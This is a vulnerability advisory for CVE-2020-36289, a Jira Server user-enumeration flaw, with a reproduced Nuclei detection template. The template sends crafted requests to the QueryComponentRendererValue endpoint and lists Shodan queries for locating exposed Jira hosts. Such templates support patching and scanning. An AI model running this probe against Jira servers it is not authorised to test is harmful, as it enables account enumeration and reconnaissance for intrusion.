CVE-2020-36289: Jira Server and Data Center - Information Disclosure

2025-08-01 Jira Server and Data Center PoC Public

Description

Jira Server and Data Center is susceptible to information disclosure. An attacker can enumerate users via the QueryComponentRendererValue!Default.jspa endpoint and thus potentially access sensitive information, modify data, and/or execute unauthorized operations, Affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.

PoC

id: CVE-2020-36289

info:
  name: Jira Server and Data Center - Information Disclosure
  author: dhiyaneshDk
  severity: medium
  description: Jira Server and Data Center is susceptible to information disclosure. An attacker can enumerate users via the QueryComponentRendererValue!Default.jspa endpoint and thus potentially access sensitive information, modify data, and/or execute unauthorized operations, Affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.
  impact: |
    An attacker can gain access to sensitive information, potentially leading to further attacks.
  remediation: |
    Apply the necessary patches or updates provided by Atlassian to fix the vulnerability.
  reference:
    - https://twitter.com/ptswarm/status/1402644004781633540
    - https://jira.atlassian.com/browse/JRASERVER-71559
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36289
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-36289
    cwe-id: CWE-863
    epss-score: 0.99209
    epss-percentile: 0.99933
    cpe: cpe:2.3:a:atlassian:data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: atlassian
    product: data_center
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2020,jira,atlassian,unauth,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'
      - '{{BaseURL}}/jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'rel=\"admin\"'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a004630440220518eb230fee60de0fbd5c0137d2b6eb38f1f531a73d5b70aec860a8229850b4e02205d5f827d16d5af948ae0fec18f88c7f7fbdfa0fcc075942cb139a7a21d14340d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-36289.yaml

References

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